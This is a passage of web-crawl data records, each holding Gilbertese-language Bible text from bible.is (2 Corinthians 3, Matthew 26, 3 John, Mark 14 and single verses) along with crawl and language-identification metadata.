aika iriko aika nanomi. 4Ti atonga aei ibukina bwa iai iroura te aki nanokokoraki iroun te Atua i nanoni Kristo. 5Akea iroura te bae ti na taku iai bwa ti konaa ni karaoa te bwai teuana i bon iroura; ara konaa ni karaoia boni mai iroun te Atua, 6are e karaoira bwa taani beku aika iai aia konaa ibukin te booraraoi ae e boou, are kanoana tiaki te bwai ae e koreaki, ma te Taamnei; bwa e tiritiri te bwai ae e koreaki, ma E kakamaiu te Taamnei. 7Ngkae e roko ma arona ni mimitong te Tua are e uota te mate, ao a koreaki taekana i aoni baaba aika atiibu n te aro are a aki konaa iai tibun Iteraera n taraa ubuni Mote ibukin raneaneana, e boni ngae ngke e a tabe ni mauna raneaneana, 8ao tiaki e na kabatiaaki riki mimitongin ana mwakuri te Taamnei? 9Bwa ngkana iai mimitongin te mwakuri ni kabuaakaka, ao ai mwaiti ra riki mimitongin te mwakuri ibukini karaoan nanon te Atua. 10Bwa te baere e kamimitongaki ngkoa e a tia n aki kamimitongaki ibukin te mimitong ae e raka arona. 11Bwa ngkana iai te mimitong n te baere e aki tei maan arona, ao ai mwaiti ra riki te mimitong n te baere e tei maan arona. 12Ma ngaia ae ngkai iai irouia te kaantaninga aei, ao ti rangi n ninikoria, 13tiaki n ai aroni Mote, are e karabaa matana n te rabuna ni mata, bwa a aonga tibun Iteraera n aki tarataraa tokin te raneanea are e tabe ni mauna. 14Ma a kamatoatoaaki nanoia; bwa man te tai arei ni karokoa te bong aei, ao e tuai meni mauna te rabuna ni mata ngkana a wareka te Booraraoi Nikawai, bwa ti Kristo ae E mauna irouna. 15Ao ma ngkekei ni karokoa ngkai, ngkana e warekaki ana Tua Mote, ao bon iai te rabuna ni mata i aon nanoia. 16Ma ngkana e rairaki te aomata nakon te Uea, ao e na uotaki nako te rabuna ni mata. 17Ao te Uea bon te Taamnei; ao ike E mena iai Taamnein te Uea, ao e mena iai te aro n inaomata. 18Ao ngaira ni bane ma matara aika a aki rabunaki, aika a ti noora mimitongin te Uea kaanga n te tirotaam, ti tabe n onikaki nakoni katootoongana man te mimitong teuana nakon teuana; ao e riki aei mai iroun te Uea ae te Taamnei.\n2 KORINTO 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/3","date":"2013-12-09T00:21:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163837349\/warc\/CC-MAIN-20131204133037-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":487,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:77nakoia ake a mena i Rom ni kabaneia, ake a tangiraki iroun te Atua, ake a weteaki bwa ana aomata: ami bwai te aakoaki ma te rau mai iroun te Atua are Tamara ma te Uea are Iesu Kristo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/7","date":"2013-12-11T13:33:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036943\/warc\/CC-MAIN-20131204133356-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999171495,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999171495437622}","num_words":55,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E a tia Iesu n atongi baikai ni kabane, ao E taku nakoia ana reirei, 2Kam ataia bwa ai ti uabong, ma e a roko te Toa are te Riao; ao ane E na kamwaneaki iai Natin te Aomata bwa E na kamateaki n te kaibangaki. 3N te tai naba anne, ao a bootaki ibonga ake mataniwi ma aia unimwaane aomata i nuukan ana auti mataniwiia ibonga are arana Kaiaba, n te tabo are e aki bono aona; 4ao a karekei aia iango bwa a na kamwanea n tauua Iesu n te aro ni karaba, ao a na kamatea. 5Ao a kaangai, Tiaki ni bongin te Toa, bwa a kaawa ni kiriwe aomata. 6Ao ngke E mena Iesu i Betania n ana auti Timon are te reebera, 7ao e nakoina te aine temanna ma uotana te bwaatoro ae e karaoaki man te arabwata ae kanoana te kabira ae moan te bo buaka; ao e kabwaroa i aon atuun Iesu ngke E tekateka n rarikiriki n amwarake. 8Ngke a nooria ana reirei, ao a un, ao a taku, E aera ngkai e bakataeaki te kabira aei n te aro aei? 9Bwa te kabira aei, e konaa ni kabooaki nako n te bo ae e mwaiti, ao a anganaki akana a aki kaubwai. 10Ma Iesu E ataa te baei, ao E taku nako ia, Kam aera ngkai kam waea te aine aei? Bwa e karaoa te mwakuri ae e raoiroi nakoiu. 11Bwa a aki toki ni mena i rarikimi aomata aika a aki kaubwai, ma e a bon tai toki meemenau iroumi. 12E kabwaroa te kabira aei neiei i aon rabwatau bwa e katauraoai i mwaain taunakiu. 13E koaua ae I a tuangkami, bwa n taabo nako ike e taekinaki iai te euangkerio, ao te bwai ae e karaoia neiei e na taekinaki naba bwa kanuringana. 14Ao temanna i buakoia uaake tengauni ma uoman, ae arana Iuta Itekariota, e nako ni kawariia ibonga ake mataniwi, 15ao e kaangai, Tera ae kam na anganai ngkana I kamwanea Iesu nakoimi? Ao a anganna tenibwi te mwane ae te tirewa. 16Ao man te tai arei ao e ukoukora ana tai ni kamwanea. 17Ni moani bongin te Toa are te Berena are e aki Karikaki, ao a nako n Iesu ana reirei, ao a kaangai, E ngaa te tabo ae ti na katauraoa iai i bukim te amwarake ibukin te Toa are te Riao bwa Ko na kanna? 18Ao E taku, Kam na nako n te kaawa nakon te aomata temanna, ao kam na kaangai nakoina, E taku te Tia Reirei: E a kaan au bong; N na karaoa te Toa are te Riao ma au reirei n am auti. 19Ao ana reirei a karaoa are a a tia n tuangaki iroun Iesu, ao a katauraoa te amwarake ibukin te Toa are te Riao. 20Ngke e a tairiki, ao E tekateka n rarikiriki n amwarake Iesu ma ana reirei; 21ao ngke a kume n amwarake, ao E taku, E koaua ae I a tuangkami, bwa ane e na kamwaneai temanna iroumi. 22Ao a rangi n rawaawata nanoia; ao e titirakinna temanna i mwiin temanna ni kaangai, Te Uea, ngai? 23Ao E kaekaia ni kaangai, Teuae kateboa baina n te raurau ma Ngai, boni ngaia ae e na kamwaneai. 24E ira nanon taekana Natin te Aomata n ai aron are e koreaki ibukina; ma e na reke kain te aomata are e kamwanea Natin te Aomata! E raoiroi riki iroun te aomata anne ngke tao e aki bungiaki. 25Ao Iuta, are e a tia n anga nanona bwa e na kamwanea Iesu, e taku, Te Tia Reirei, ngai? E kaeka Iesu ao E taku, Ngaia ane ko taku. 26Ao ngke a amwarake, ao E anaa te berena Iesu, ao E tataro ni katituaraoi, ao E urua, ao E angania ana reirei, ao E kaangai, Anaia, kanna; rabwatau aei. 27Ao E anaa te mwangko, ao ngke E a tia n tataro ni katituaraoi, ao E anganiia, ao E kaangai, Kam na bane ni mooi iai: 28bwa aei raraau, ae raraan te booraraoi, ae e kawaawaaeaki i bukiia aomata aika a bati ibukini kabwaraan aia bure. 29I tuangkami bwa N na aki manga mooi n te wain aei, ni karokoa te bong arei, are N na nima iai te wain ae e boou ma ngkami n uean Tamau. 30Ao ngke a a tia n anenea te anene n nebo nakon te Atua, ao a nako n te maunga are Oriweta. 31Ao E taku Iesu nako ia, I bukin te bae e na riki nakoiu n te tairiki aei, ao ane e na bua onimakinakiu iroumi: bwa e koreaki ae e kaangai: N na tiringa te Tia Kaawakin-tiibu, ao ane a na bane n uamaae tiibu ake a nanai. 32Ma ngkana I a manga maiu, ao N na nako n rimoami nako Kariraia. 33Betero ni kaangai, Ngkana e bua onimakinam irouia uaakai ibukin te bae e na riki nakoim, ma e na bon aki bua au onimaki. 34E taku Iesu nakoina, E koaua ae I a tuangko, bwa n te tairiki naba aei, i mwaain tangin te moa, ao ane ko na katenua kaakeaau. 35E taku Betero nakoina, N na bon aki kaakeako, e ngae ngkana arona bwa N na mate ma Ngkoe. Ao a bane n atongi naba taeka akekei ana reirei. 36Ao E nako Iesu ma ana reirei nakon te tabo ae arana Ketetemwane, ao E taku nako ia, Kam na tekateka ikai, bwa N na nako ikekei n tataro. 37E kaira Betero ma natin Tebetaio ake uoman bwa raona, ao E moanna n taonaki n te nanokaawaki ma te rawaawata ae e bati. 38E taku ngkanne nako ia, E taonaki maiu n te rawaawata ae moan te bati n te aro ae e kaan ae N na mate iai; kam na tiku ikai, ao kamarurungingkami n tantani ma Ngai. 39Ao E nako riki teutana, ao E katorobubua ni bobaraaki i aontano ao E tataro ni kaangai: Tamau, ngkana e konaaki, ao e na nako mai irou te mwangko ni karawaawata aei; ma tiaki nanou ae e na iraki, ma nanom. 40Ao E roko irouia ana reirei, ao E nooriia bwa a matuu; ao E taku nakoni Betero, Ai aromi aei, kam aki konaa ni kamarurungingkami n taratara ma Ngai teuana te aoa? 41Kamarurungngkami n taratara, ao tataro bwa kam aonga n aki bwaka nakon te kariirii; e konamaki te taamnei, ma e mamaara te iriko. 42Ao E a manga nako riki n tataro ao E kaangai, Tamau, ngkana e aki konaa n nako aei, bwa N na boni mooi iai, ao e na tauaki am taeka. 43Ao E a manga oki, ao E nooriia bwa a matuu, bwa a aki konaa ni kaure mataia. 44Ma ngaia are E a manga kiitaniia, ao E nako n tataro te katenua n tai, ao E atongi taeka naba ake E a tia n atong. 45E okiriia ngkanne ana reirei, ao E taku nako ia, Ae kam boni matuu naba ao kam motirawa? Noria, e a kaan te aoa are E na kamwaneaki iai Natin te Aomata nako nanoni baiia aomata aika a buaakaka. 46Tei rake, ti na nako; nooria, e a roko teuare e nang kamwaneai. 47Ngke E tabe n taetae Iesu, ao e roko Iuta, are temanna i buakoia uaake tengauni ma uoman. E airi ma te koraki ae e bati ake a uoti kabaang ma kaai n oro. A kamwanangaaki irouia ibonga ake mataniwi ma unimwaane. 48A a tia n anganaki te kanikina mai iroun teuare e na kamwanea Iesu, ae te kanikina ae e kaangai: Te aomata ae I kiitinna ao boni Ngaia; kam na tauua. 49Ao e nako n Iesu ngkekei naba, ao e taku, Te Tia Reirei, Ko na mauri; ao e kiitinna. 50E taku Iesu nakoina, Raou, ko aera ikai? Ao a nako n Iesu, ao a kaaki baiia i aona n tauua. 51Ao nooria, iai temanna i buakoia aomata ake raon Iesu ae e kanakoa baina ni buuta ana kabaang, ao e orea ana toro mataniwia ibonga ni korea taningana ni kabwakaa. 52Ma E taku Iesu nakoina, Ko na kaaki am kabaang ni nnena; bwa a na bane ni mate n te kabaang akana a kamanenaa te kabaang. 53Ko taku bwa I aki konaa ni butiia Tamau, ao E a kanakomaiia ngkai naba taanga n anera aika a raka mwaitiia i aon tengauni ma ua taanga? 54Ao e na kangaa ngkanne ni kakoauaaki te Baibara are e taku bwa e riai bwa a na roko baikai? 55Ao n te aoa naba arei, ao E taku Iesu nakoia aomata, Kam nako mai ma kabaang ma kaai n oro, bwa kam na tauai n aron te tia kamwarua? I katoa bong n tekateka ao n reirei n te umwantabu, ao kam aki tauuai. 56Ma a riki baikai bwa a na kakoauaaki aia koroboki buraabeti. Ao a bane ana reirei ni kiitanna, ao a biri nako. 57Ao uaake a tauua Iesu a kairia nakon ana auti Kaiaba are aia mataniwi ibonga, ike a bootaki iai taani koroboki ma unimwaane. 58Ma e ririmwiin Iesu Betero n taua raroana ni karokoa te tabo are e aki bono aona i nuukan ana auti mataniwiia ibonga, ao e rin n tekateka ma bureitiman bwa e na nooria bwa tera ae e na riki n tokina. 59Ao ibonga ake mataniwi ma kaain te Tanirim ni kabaneia a ukoukora bukinan Iesu aika aki koaua, bwa a na kamatea; 60ma akea ae a kunea, e ngae ngke a mwaiti aomata ake a roko ma aia taeka ni bukibuki aika a kewe ibukina. Ao n tokina a roko uoman taani bukibuki, 61ao a taku, E taku Teuaei, I konaa n urua ana umwantabu te Atua, ao ni kateia i nanon teni bong. 62Ao e tei rake mataniwiia ibonga, ao e taku, Akea am kaeka nakon taeka ni bukibuki aika a tabekaki i bukim? 63Ma E kainabwaabu Iesu. Ao e taku mataniwiia ibonga nakoina, I titirakiniko i matan te Atua ae E maiu, bwa Ko na tuangiira bwa tao te Kristo Ngkoe, are Natin te Atua. 64E taku Iesu nakoina, Ngaia ane ko taku. Ma I tuangkami bwa ane kam na noora Natin te Aomata ni moa man te tai aei bwa E tekateka i angaatain Teuare e mwaaka, ao bwa E nako mai i aon nangini karawa. 65Ao e raea kunnikaina mataniwiia ibonga, ao e taku, E taetae ni bakanatua! E aera bwa ti na tangiriia riki taani bukibuki? Kam a tia ngkai n ongo ana taeka ni bakanatua. 66Tera ami moti? A kaeka ni kaangai, E bure, ao E riai ni kamateaki. 67Ao a bawarea ubuna, ao a oroia; ao tabemwaang a oroia n nanoni baiia, ao a taku, 68Ko na tuangiira, Ngkoe ae Kristo! Antai ae e oroiko? 69Ao e tekateka Betero i ao i nuukan te auti, ike e aki bono aona; ao e roko irouna te aine temanna ae te toro, ao e taku, Ko meemena naba ngkoe iroun Iesu are te I-Kariraia. 70Ma e kakewea ana taeka neierei i mataia aomata akekei ni kabaneia, ao e taku, I aki ataa te bwai ane ko taekinna. 71Ao ngke e nako ni mataroan te auti, ao e a manga nooria naba te aine riki temanna ae te toro; ao e taku nakoia ake a teitei ikekei, E meemena naba teuaei iroun Iesu are te I-Natareta. 72Ao e a manga kakewea naba ana taeka neierei, ao e taetae ni bau ao e kaangai, I bon aki ataa Teuarei. 73Ao e aki maan i mwiin arei, ao a nako ni Betero aomata ake a teitei ikekei, ao a taku, Bon raoia naba temanna ngkoe, bwa e kaotiko eeni bwanaam. 74Ao e tabeki taeka ni karereanti bon ibukina ma n tuea, ao e taku, I aki kinaa te aomata anne. Ao e a tangi naba te moa. 75Ao Betero e uringa ana taeka Iesu ngke E kaangai, I mwaain tangin te moa, ao ane ko na katenua kaakeaau. Ao e oti nako, ao e katuumaua te tang.\nMATAIO 26","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/26","date":"2013-12-12T21:30:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164722336\/warc\/CC-MAIN-20131204134522-00004-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1995,"character_repetition_ratio":0.05,"word_repetition_ratio":0.002,"special_characters_ratio":0.248,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai iroun te unimwaane nakoni Kaio ae e tangiraki, ae I tangiria ni koaua. 2Ngkoe ae ko tangiraki, bon au kaantaninga bwa ko na kabwaia ni bwaai ni kabane, ao ko na marurung raoi, n ai aron aomatam ni koaua ngkae e a kabwaia. 3Bwa I bati ni kimwaareirei ngke a aki toki n rooroko taari akekei n taekina am koaua, n ai arom ngkai ko bwaabwaina te koaua ni maium. 4Akea au kimwaareirei ae e bati riki nakon aei, ae te ongo bwa te koraki ake kaanga natiu a bwaabwaina te koaua. 5Ngkoe ae ko tangiraki, ko boni kakaonimaki ni karaoa ae ko karaoia i bukiia taari, ai moara riki nakoia taari ake ko aki tataneiai ma ngaiia; 6ake a taekina ni kakoauaa aron am tangira i matan te ekaretia. Ko karaoa ae e raoiroi ngkana ko bakaborauiia n te aro ae e riai i matan te Atua. 7Bwa a mwananga nako ibukin arani Kristo, n akea te bwai teuana ae a anaia mai irouia aomata aika a tiaki Kristian. 8Ma ngaia ae ngaira, ti bon riai ni buokiia aomata aika a ai aroia aikai, bwa ti aonga n riki bwa raao ni mwakuri ibukin te koaua. 9I a tia ni koroboki teutana nakon te ekaretia; ma Rioterebe are e kani kakannato i buakoia, bon akea butimwaaeara ae e raoiroi irouna. 10Ma ngaia aei, ngkana tao I roko iroumi, ao N na kauring bwaai ake e karaoi ngke e wibuakaira n taeka aika a bubuaka. Ao e aki toki ikanne. E rawa ni butimwaaia taari akekei, ao e tukiia ake a kani butimwaaiia ma ni kabwakaiia man te ekaretia. 11Ngkoe ae ko tangiraki, ko na tai kakairi n te mwakuri ae e buaakaka, ma ko na kakairi n te mwakuri ae e raoiroi. Ane e karaoa ae e raoiroi ao boni mai iroun te Atua; ane e karaoa ae e buaakaka ao e tuai n noora te Atua. 12E tataekinaki ni kamoamoaaki Temeterio irouia aomata ni kabaneia, ao ni maiuna ni bwaabwaina te koaua; ao e tataekinaki naba ni kamoamoaaki iroura; ao ko ataa ara kaotioti bwa e boni koaua. 13A bati baika irou aika I kani koroi taekaia nakoim, ma I aki kani koroi n te anto ma te kainikoroboki. 14Ma I kaantaninga bwa N na waetata n nooriko, ao ti na taetae ni kaaitara. 15E na mena te raoi iroum. A kamauriko raora aikai. Ko na anga ara kamauri nakoia raora akanne n tatabemaniia nako.\n3 IOANE Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/3John\/","date":"2013-12-13T21:17:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164992771\/warc\/CC-MAIN-20131204134952-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":410,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:3131ao ake a tabe ma bwain te aonnaba aei, bwa aongkoa a aki kabanebuakai aia tai iai. Bwa te aonnaba aei, n arona ae ngkai, e na aki maan ao e na mauna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/31","date":"2013-12-13T11:35:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164936474\/warc\/CC-MAIN-20131204134856-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000009536743164}","num_words":49,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ai uoua te bong ngkai i mwaain tain te Toa are te Riao ao te Berena are e aki Karikaki. A ukoukora aroni kamwanean Iesu ibonga ake a kakannato ma taani koroboki, bwa a na tauua ni kamatea. 2A taku, Ti na aki karaoia n tain te Toa, bwa a kaawa ni kiriwe aomata. 3Ao ngke E mena Iesu i Betania, n ana auti Timon are te reebera, ngke E rarikiriki n amwarake, ao e roko te aine temanna ma uotana te bwaatoro ae e karaoaki man te atiibu ae te arabwata, ao kanoana te kabira ae e rangi ni boiarara ae te naro ni koaua, ae e rangi ni mwaiti boona. E urua nnen te kabira anne, ao e kabwaroa te bwa i aon atuun Iesu. 4Ma iai aomata tabemwaang ake a un ao a i taetae irouia ni kaangai, E aera ngkai e bakataeaki te kabira aei n te aro aei? 5Bwa te kabira aei, e konaa ni kabooaki nako n te bo ae e raka i aon tenibubua te tenari, ao a konaa n anganaki akana aki kaubwai. Ao a kaoti aroia n ribaa neierei. 6Ma E taku Iesu, Tai kumeia! Kam aera ngkai kam tabareia? E a tia ni karaoa ae e raoiroi nakoiu. 7Bwa a bon aki toki ni mena i rarikimi aomata aika a aki kaubwai, ao ngkana kam kani karaoa ae e raoiroi nakoia ao kam kona; ma N na aki mena iroumi n taai nako. 8E a tia ni karaoa are e konaa neiei: e a tia ni kaboiararaa rabwatau ni katauraoia i mwaain taunakiu. 9E koaua ae I a tuangkami, bwa n taabo nako ike e tataekinaki iai te euangkerio i aonnaba, ao te bwai ae e a tia ni karaoia neiei, e na taekinaki naba bwa kanuringana. 10Ao Iuta Itekariota, are temanna i buakoia uaake tengauni ma uoman, e nako ni kawariia ibonga ake mataniwi bwa e na kamwanea Iesu nakoia. 11Ngke a ongo, ao a kukurei; ao a kabwakaa aia taeka bwa a na anganna te mwane. Ma ngaia are e a kakaaea te anga are e na kamwanea iai Iesu. 12Ao ni moani bongin te Toa are te Berena are e aki Karikaki, ngke a tiring tiibu aika ataei bwa aia karea, ao a taku ana reirei nakoina, E ngaa te tabo ae Ko tangiria bwa ti na nako iai ni katauraoia i bukim bwa Ko kana iai te amwarake are e katauaki ibukin te Toa are te Riao? 13E kanakoia uoman ana reirei, ao E taku nakoia, Kam na nako n te kaawa, ao ane e na bo ma ngkami iai te aomata ae e uota te kaatiibu n ran; kam na iria, 14ao te tabo ane e rin iai, ao kam na kaangai nakon te aomata are ana bwai te auti, E taku te Tia Reirei, E ngaa te ru n iruwa ae Ngai ma au reirei ti na kana iai te amwarake are e katauaki ibukin te Toa are te Riao? 15Ao ane e na kaota nakoimi te ru ae e buubura ae e mena i eta ae e tauraoi ao e bobonga bwain nanona; anne nnnemi ni katauraoi i bukira. 16A nako ana reirei nakon te kaawa, ao a kunea te ru n ai aron are E tuangiia Iesu, ao a katauraoa amwaraken te Toa are te Riao. 17Ngke e a tairiki, ao E roko ma ana reirei ake tengauni ma uoman. 18Ao ngke a rarikiriki n amwarake, ao E taku Iesu, E koaua ae I a tuangkami bwa ane e na kamwaneai temanna iroumi: temanna ae e amwarake ma Ngai. 19A moanna n nanokaawaki, ao a taku, temanna i mwiin temanna nakoina, Ngai? 20E kaekaia Iesu ao E taku, Temanna i buakomi ngkami aika tengauni ma uoman, ae teuae kateboa ana berena ma Ngai n te boora. 21Ane E na mate Natin te Aomata n ai aron taekana n te Baibara; ma e na reke kain te aomata ae E kamwaneaki Natin te Aomata irouna! E raoiroi riki iroun te aomata anne ngke e aki bungiaki. 22Ngke a amwarake, ao E anaa te berena Iesu, ao E tataro ni katituaraoi, ao E urua ni kamwakorokoroa, ao E anganiia, ao E kaangai, Anaia, rabwatau te baei. 23Ao E anaa te mwangko, ao ngke E a tia n tataro ni katituaraoi, ao E anganiia, ao a bane ni mooi ni kanoana. 24Ao E taku nakoia, Raraau te baei, ae raraan te booraraoi, ae e kawaawaaeaki i bukiia aika a bati. 25E koaua ae I a tuangkami bwa N na aki manga mooi n ranin uaan te kureebe ni karokoa te bong arei, are N na nima iai te wain e ae boou n uean te Atua. 26Ngke a a tia n anene, ao a oti nako nakon te maunga are Oriweta. 27E taku Iesu nakoia, Ane e na moanna ni bua onimakinakiu iroumi, bwa e koreaki ae e kaangai: N na tiringa te tia kaawakin-tiibu, ao ane a na bane n uamaae tiibu. 28Ma ngkana I a manga maiu, ao I a ri moami nako Kariraia. 29E taku Betero nakoina, Ngkana arona bwa e a bua onimakinam irouia uaakai, ma e na bon aki bua mai irou. 30E taku Iesu nakon Betero, E koaua ae I a tuangko bwa n te tairiki naba aei, ao ane ko na katenua kaakeaau i mwaaini kauouan tangin te moa. 31E kaeka Betero ma te bwanaa n ninikoria, ao e kaangai, Ngkana N na boni mate ma Ngkoe, ao N na bon aki kaakeako. Ao a bane n atongi taeka naba akanne. 32Ao a nako n te tabo ae arana Ketetemwane, ao E taku Iesu nakoia ana reirei, Kam na tekateka ikai i nanon au tai n tataro. 33E kaira Betero ma Iakobo ma Ioane bwa raona, ao E a moanna n taonaki n te nako n nano ae e korakora ma te rawaawata ae e bati. 34Ao E taku nakoia, E taonaki maiu n te rawaawata ae moan te bati, n te aro ae kaanga N nangi mate iai; kam na tiku ikai, ao kamarurungkami n tantani. 35Ngke E nako riki teutana ao E bwaka i aontano, ao E tataro bwa ngkana e konaaki, ao E na aki rin i nanon te aoa are E na karawaawataaki iai. 36Ao E taku n ana tataro, Abwa, Tamau, a konaaki bwaai ni kabane iroum; Ko na uota nako te mwangko ni karawaawata aei mai irou; ma tiaki nanou ae e na iraki, ma e na iraki nanom. 37Ao E oki, ao E nooriia bwa a matuu; ao E taku nakoni Betero, Timon, ko matuu? Ko aki konaa ni kamarurungko n tantani i nanon teuana te aoa? 38Kam na kamarurungkami n tantani ao tataro bwa kam na aki bwaka n tain te kariirii: e konamaki te taamnei, ma e mamaara te rabwata. 39Ao E a manga nako riki n tataro, ao E atongi taeka naba ake E a tia ni mwanewei n ana tataro. 40Ngke E a manga oki, ao E nooriia bwa a manga matuu naba, bwa a kuri n aki ure mataia; ao a aki ataia bwa tera aia kaeka nakoina. 41Ao E oki te katenua n tai ao E taku nakoia, Ae kam boni matuu naba, ma n iri nanomi ni motirawa? E a tau; e a roko te tai: E a kamwaneaki Natin te Aomata nakoia taani bure. 42Tei rake, ti na nako; nooria, e a roko teuare e nang kamwaneai. 43Ngke E tabe n taetae Iesu, ao akea bwa e a roko naba Iuta, are temanna i buakoia uaake tengauni ma uoman, ao raona te koraki ae e bati ake a uoti kabaang ma kaai n oro; aikai te koraki ake a kanakoaki mai irouia ibonga ake mataniwi, ao mai irouia taani koroboki ma unimwaane. 44Ao teuare e nang kamwanea Iesu, e a tia n angania aomata te kanikina, ngke e kaangai, Ane N na kiitinna ao boni Ngaia; kam na tauua, ao kairia nako n tararuaia raoi. 45Ngke e roko Iuta, ao e a nako naba ni kawara Iesu ao e taku, Te Tia Reirei! Ao e kiitinna. 46Ma ngaia are a rawea Iesu ao a tauua. 47Ma iai temanna i buakoia ake a teitei are e buuta ana kabaang, ao e orea iai ana toro mataniwia ibonga, ni korea taningana ni kabwakaa. 48E taku Iesu nakoia, Kam nako mai ma kabaang ao kaai n oro, bwa kam na tauuai bwa kaanga te tia kamwarua Ngai? 49I katoaa te bong ae e koraki ma ngkami n reirei i nanon te umwantabu, ao kam aki tauuai. Ma e riki aei bwa e na kakoroaki bukin are e taekinaki n te Baibara. 50Ao a bane ana reirei ni kiitanna, ao a biri nako. 51Iai te rorobuaka n ataei temanna are e iriira Iesu, ao e ti bwainna n te kunnikai ae e niira rabwatana iai. A tauua; 52ma e katuka niirana, ao e biri nako n akea karabaana. 53Ao a kaira Iesu nakoni mataniwia ibonga; ao a bane ni bootaki ma ngaia ibonga ake a kakannato ma unimwaane ma taani koroboki. 54Ao Betero, e iriira Iesu ni kakararoaa, ao e rin i nanon te tabo ae e aki bono aona ae e ootabwaniniiaki n ana auti mataniwia ibonga; ao e tekateka ma bureitiman ni kaabueea n te ai. 55Ao ibonga ake a kakannato ma kaain te Tanirim ni kabanea, a ukoukora bukinan Iesu bwa a na kamatea; ma akea ae e reke irouia. 56Bwa a mwaiti aomata ake a bukinna, ma a aki booraoi aia kaotioti. 57A tei rake tabemwaang nibukinna, ao a taku, 58Ti ongo ana taeka ngke E kaangai, N na urua te umwantabu aei, ae e karaoaki irouia aomata, ao I a manga katea teuana i nanon tenibong, ae te umwantabu ae e aki karaoaki irouia aomata. 59Ao a aki booraoi naba aia taeka iai. 60Ao e tei rake mataniwia ibonga i buakoia, ao e titirakina Iesu ni kaangai, Akea am kaeka ae Ko na taekinna? Tera ae a taekinna te koraki aei bwa bwaini kabuaakakaam? 61Ma E kainabwaabu, ao akea ana kaeka ae E anga. E a manga titirakinna naba mataniwia ibonga, ao e taku, Te Kristo Ngkoe are Natin Teuare e Kakaraoiroaki? 62E kaeka Iesu, ao E taku, Boni Ngai; ao ane kam na noora Natin te Aomata bwa E na tekateka i angaatain Teuare e Mwaaka, ao bwa E na nako mai n nangini karawa. 63E raeuai kunnikaina mataniwia ibonga, ao e taku, E aera bwa ti na tangiriia riki taani kakoaua? 64Kam a tia n ongo ana taeka ni bakanatua aei. Tera ami moti? A bane ni motika taekana bwa e riai kamateana. 65Iai tabemwaang ake a bawareia, ao a rabuna ubuna, ao a oreia ni baiia, ao a taku nakoina, Kaotia bwa antai ae e oroiko! Ao bureitiman a oreia n aki akaka. 66Ngke e tiku i nano Betero n te tabo are e ootabwaniniiaki n auti, are te tabo are akea rabunan aona, ao e roko te ataeinaine ae te tia mwakuri iroun mataniwia ibonga; 67ngke e noora Betero bwa e kaabueea, ao e tarataraia, ao e taku, Ngkoe naba raon Iesu are te I-Natareta. 68Ma e kakewea ana taeka neierei, ao e taku, I aki ataa nanon te bwai ane ko taekinna, ao I aki oota naba iai. Ao e oti nako nakon te tabo n oti nako are mai tinaniku. 69Ao e nooria te ataeinaine ikekei, ao e a manga taku nakoia naake a teitei, Teuaei bon temanna naba i buakoia. 70E a manga kakewei naba taeka akekei Betero. E aki rangi ni maan i mwiina, ao uaake a teitei a taku nakoni Betero, Bon te koaua bwa raoia uaakekei ngkoe, bwa te I-Kariraia ngkoe. 71Ao e karereanti, ma n tuea, ao e kaangai, I aki kinaa te aomata ane kam atongnga. 72Ao e a manga tangi naba te moa. Ao Betero, e uring ana taeka Iesu ngke E kaangai nakoina, Ane ko na katenua kaakeaau ngkana e tuai ni kauoua tangina te moa. Ao ngke e uringnga, ao e tang.\nMAREKO 